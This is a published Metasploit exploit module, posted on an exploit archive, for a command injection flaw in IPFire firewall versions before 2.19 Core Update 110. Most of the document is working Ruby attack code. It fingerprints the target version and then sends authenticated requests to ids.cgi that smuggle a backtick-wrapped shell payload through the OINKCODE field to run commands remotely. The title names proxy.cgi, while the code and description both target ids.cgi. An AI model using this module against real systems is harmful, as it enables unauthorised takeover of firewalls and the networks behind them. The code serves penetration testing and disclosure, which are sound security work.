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IPFire proxy.cgi Remote Code Execution

IPFire proxy.cgi Remote Code Execution
Posted Jul 22, 2017
Authored by h00die, 0x09AL | Site metasploit.com

IPFire, a free linux based open source firewall distribution, version prior to 2.19 Update Core 110 contains a remote command execution vulnerability in the ids.cgi page in the OINKCODE field.

tags | exploit, remote, cgi
systems | linux
SHA-256 | f8bdea7a53ee5a4ab20fad1a03f6c2a2dfaa0823d9fec5b982ed96aa724d1965

IPFire proxy.cgi Remote Code Execution

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##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient

Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IPFire proxy.cgi RCE',
'Description' => %q(
IPFire, a free linux based open source firewall distribution,
version < 2.19 Update Core 110 contains a remote command execution
vulnerability in the ids.cgi page in the OINKCODE field.
),
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # module
'0x09AL' # discovery
],
'References' =>
[
[ 'EDB', '42149' ]
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true },
'Arch' => [ ARCH_CMD ],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl awk openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 09 2017'
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
Opt::RPORT(444)
]
)
end

def check
begin
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
# after a chat with @bcoles in IRC.
res = send_request_cgi(
'uri' => '/cgi-bin/pakfire.cgi',
'method' => 'GET',
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
)

if res && res.code == 200
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
end
if version.nil? || update.nil? || !Gem::Version.correct?(version)
vprint_error('No Recognizable Version Found')
CheckCode::Safe
elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110
CheckCode::Appears
else
vprint_error('Version and/or Update Not Supported')
CheckCode::Safe
end
rescue ::Rex::ConnectionError
print_error("Connection Failed")
CheckCode::Safe
end
end

def exploit
begin
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
# after a chat with @bcoles in IRC.
vprint_status('Sending request')
res = send_request_cgi(
'uri' => '/cgi-bin/ids.cgi',
'method' => 'POST',
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' =>
{
'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
},
'vars_post' => {
'ENABLE_SNORT_GREEN' => 'on',
'ENABLE_SNORT' => 'on',
'RULES' => 'registered',
'OINKCODE' => "`#{payload.encoded}`",
'ACTION' => 'Download new ruleset',
'ACTION2' => 'snort'
}
)

# success means we hang our session, and wont get back a response, so just check we get a response back
if res && res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
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